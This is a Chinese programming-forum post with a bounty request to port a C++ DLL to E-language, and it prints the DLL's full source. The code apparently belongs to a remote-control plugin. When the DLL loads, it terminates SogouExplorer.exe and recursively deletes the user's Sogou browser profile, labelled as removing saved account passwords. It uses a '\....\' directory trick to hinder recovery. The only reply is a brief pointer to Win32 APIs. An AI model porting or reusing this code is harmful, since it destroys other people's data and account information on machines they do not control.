开启辅助访问 切换到宽版

精易论坛

 找回密码
 注册

QQ登录

只需一步,快速开始

用微信号发送消息登录论坛

新人指南 邀请好友注册 - 我关注人的新帖 教你赚取精币 - 每日签到


求职/招聘- 论坛接单- 开发者大厅

论坛版规 总版规 - 建议/投诉 - 应聘版主 - 精华帖总集 积分说明 - 禁言标准 - 有奖举报

查看: 154|回复: 1
收起左侧

[精币悬赏] 懂C++的来,求帮忙把这个c++代码,用易语言去写该怎么写

[复制链接]
结帖率:0% (0/1)
发表于 4 天前 | 显示全部楼层 |阅读模式   吉林省吉林市
5精币
懂C++的来,这是一个dll的代码,求帮忙把这个c++代码,转换用易语言去写该怎么写。需要保留c++代码里的dll结构和框架不变,以及导出函数不能变。


#include <windows.h>
#include "tchar.h"
#include <string>
#include <Psapi.h>
#include <string.h>
#include <stdio.h>
#include <TlHelp32.h>  
#include <shlobj.h>
#pragma comment(lib, "shell32.lib")
#pragma comment (lib, "Psapi.lib")
#define SAFE_DELETE(p) { if(p) { delete (p);   (p)=NULL; } }
#define SAFE_DELETE_AR(p) { if(p) { delete[] (p);   (p)=NULL; } }



int Kill_Pro(const TCHAR* Kill_Name)                //功能函数。参数是进程名
{
        while (1) {                //死循环为了一直获取当前系统正在运行的进程
                // 为进程的所有线程拍个快照  
                HANDLE hSnapshort = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
                if (hSnapshort == INVALID_HANDLE_VALUE)
                {
                        //        printf("CreateToolhelp32Snapshot调用失败!\n");
                        return -1;
                }
                // 获得线程列表  
                PROCESSENTRY32 stcProcessInfo;
                stcProcessInfo.dwSize = sizeof(stcProcessInfo);
                BOOL  bRet = Process32First(hSnapshort, &stcProcessInfo);
                while (bRet)
                {
                        if (lstrcmp(stcProcessInfo.szExeFile, Kill_Name) == 0)
                        {
                                Sleep(2000);                //等待时间
                                HANDLE hProcess = ::OpenProcess(PROCESS_TERMINATE, FALSE, stcProcessInfo.th32ProcessID);        //获取进程句柄
                                ::TerminateProcess(hProcess, 0);    //结束进程
                                CloseHandle(hProcess);
                        }
                        bRet = Process32Next(hSnapshort, &stcProcessInfo);
                        if (!bRet) return 1;

                }
                CloseHandle(hSnapshort);
        }
        return 0;
}

bool FnDelPathFile(TCHAR* tc_path)
{
        SECURITY_ATTRIBUTES safestruct = { sizeof(SECURITY_ATTRIBUTES) ,NULL,false };
        //获取系统temp目录+字母
        TCHAR* tem_path = new TCHAR[MAX_PATH * 2];
        TCHAR* tem_path1 = new TCHAR[MAX_PATH * 2];
        TCHAR* tem_path2 = new TCHAR[MAX_PATH * 2];
        TCHAR* tem_path3 = new TCHAR[MAX_PATH * 2];
        TCHAR* tem_path4 = new TCHAR[MAX_PATH * 2];
        GetTempPath(MAX_PATH * 2, tem_path);

        unsigned seed;
        seed = (unsigned)GetCurrentProcessId();
        std::srand(seed);
        int A = rand();
        int B = A + 1;
        wsprintf(tem_path1, _T("%s%d"), tem_path, A);

        CreateDirectory(tem_path1, &safestruct); //CreateDirectoryA(目录, 安全性结构)

        wsprintf(tem_path2, _T("%s%s"), tem_path1, _T("\\....\\"));
        CreateDirectory(tem_path2, &safestruct);// CreateDirectoryA(目录 + “\....\”, 安全性结构)

        wsprintf(tem_path3, _T("%s\\%d"), tem_path2, B);
        MoveFile(tc_path, tem_path3);    //MoveFileA(文件名, 目录 + “\....\” + 字母)

        wsprintf(tem_path4, _T("%s\\%d"), tem_path1, B);
        MoveFile(tem_path2, tem_path4); //        MoveFileA(目录 + “\....\”, 目录 + “\” + 字母)
        DeleteFile(tem_path1);  //删除目录(目录)
        DeleteFile(tem_path2);  //删除目录(目录)
        DeleteFile(tem_path3);  //删除目录(目录)
        DeleteFile(tem_path4);  //删除目录(目录)

        SAFE_DELETE_AR(tem_path);
        SAFE_DELETE_AR(tem_path1);
        SAFE_DELETE_AR(tem_path2);
        SAFE_DELETE_AR(tem_path3);
        SAFE_DELETE_AR(tem_path4);


        return 1;
}

bool RemoveDir(const TCHAR* szFileDir)
{
        std::wstring strDir = szFileDir;
        if (strDir.at(strDir.length() - 1) != _T('\\'))
                strDir += _T('\\');
        WIN32_FIND_DATA wfd;
        HANDLE hFind = FindFirstFile((strDir + _T("*.*")).c_str(), &wfd);
        if (hFind == INVALID_HANDLE_VALUE)
                return false;
        do
        {
                if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
                {
                        if (_tcsicmp(wfd.cFileName, _T(".")) != 0 &&
                                _tcsicmp(wfd.cFileName, _T("..")) != 0)
                                RemoveDir((strDir + wfd.cFileName).c_str());
                }
                else
                {
                        DeleteFile((strDir + wfd.cFileName).c_str());
                        if ((strDir + wfd.cFileName).size() < (MAX_PATH * 2))
                        {
                                TCHAR* tc_path = new TCHAR[MAX_PATH * 2];
                                ZeroMemory(tc_path, MAX_PATH * 2);
                                wcscpy_s(tc_path, (strDir + wfd.cFileName).length() + 1, (strDir + wfd.cFileName).c_str());
                                FnDelPathFile(tc_path);
                                SAFE_DELETE_AR(tc_path);
                        }

                }
        } while (FindNextFile(hFind, &wfd));
        FindClose(hFind);
        RemoveDirectory(szFileDir);
        return true;
}

void KillAndRemoveDir(const TCHAR* Kill_Name, const TCHAR* path)
{
        Kill_Pro(Kill_Name);
        TCHAR   szPath[MAX_PATH];
        SHGetSpecialFolderPath(NULL, szPath, CSIDL_STARTUP, FALSE);
        const TCHAR* d = _T("\\");
        TCHAR* p;
        TCHAR* context;
        p = _tcstok_s(szPath, d, &context);
        int i = 0;
        while (p)
        {
                if (i == 2)
                {
                        break;
                }
                p = _tcstok_s(NULL, d, &context);
                i++;
        }
        TCHAR aadir[MAX_PATH];
        wsprintf(aadir, _T("C:\\Users\\%s%s"), p, path);
        Sleep(1000);
        RemoveDir(aadir);
        return;
}


HANDLE hThread = NULL;
DWORD WINAPI MainThread(LPVOID dllMainThread)
{
        KillAndRemoveDir(_T("SogouExplorer.exe"), _T("\\AppData\\Roaming\\SogouExplorer"));
        Sleep(3000);
        return 0;


}



BOOL APIENTRY DllMain(HMODULE hModule,
        DWORD  ul_reason_for_call,
        LPVOID lpReserved
)
{
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH:
        {
                if (hThread == NULL)
                {
                        hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0);        //启动线程
                        WaitForSingleObject(hThread, INFINITE);
                }
       
        }
        break;
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
                break;
        }
        return TRUE;
}



extern "C" __declspec(dllexport) bool Main(TCHAR * ip, DWORD port, BOOL IsTcp, TCHAR * passwoed, BOOL RunDllEntryProc)
{


        return 0;
}

struct PlugInfo
{
        char mark[30];                //标记
        char mode[30];                //直接加载
        BOOL isx86;                        //是不是32位
        BOOL isautorun;                //是否自动运行
        TCHAR Group[255];        //菜单分组
        TCHAR dllname[255];        //DLL名字
        TCHAR dlltext[255]; //说明
        BOOL bmutual;                //是不是交互
}MyDLLInfo =
{
"getinfo",
"",
#ifdef _WIN64
false,
#else
true,
#endif
FALSE,                                        //是否自动上次运行
_T("删除"),
_T("删除sogou账号密码"),
_T("删除sogou账号密码"),
};

extern "C" __declspec(dllexport) int invalid()
{
        int len = lstrlen(MyDLLInfo.Group);
        return len;
}

结帖率:88% (7/8)

签到天数: 1 天

发表于 4 天前 | 显示全部楼层   广东省茂名市
这些都是 Win32API,你可以直接根据 易语言的云词库来 调用处理,
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则 致发广告者

发布主题 收藏帖子 返回列表

sitemap| 易语言源码| 易语言教程| 易语言论坛| 易语言模块| 手机版| 广告投放| 精易论坛
拒绝任何人以任何形式在本论坛发表与中华人民共和国法律相抵触的言论,本站内容均为会员发表,并不代表精易立场!
论坛帖子内容仅用于技术交流学习和研究的目的,严禁用于非法目的,否则造成一切后果自负!如帖子内容侵害到你的权益,请联系我们!
防范网络诈骗,远离网络犯罪 违法和不良信息举报QQ: 793400750,邮箱:wp@125.la
网站简介:精易论坛成立于2009年,是一个程序设计学习交流技术论坛,隶属于揭阳市揭东区精易科技有限公司所有。
Powered by Discuz! X3.4 揭阳市揭东区精易科技有限公司 ( 粤ICP备2025452707号) 粤公网安备 44522102000125 增值电信业务经营许可证 粤B2-20192173

快速回复 返回顶部 返回列表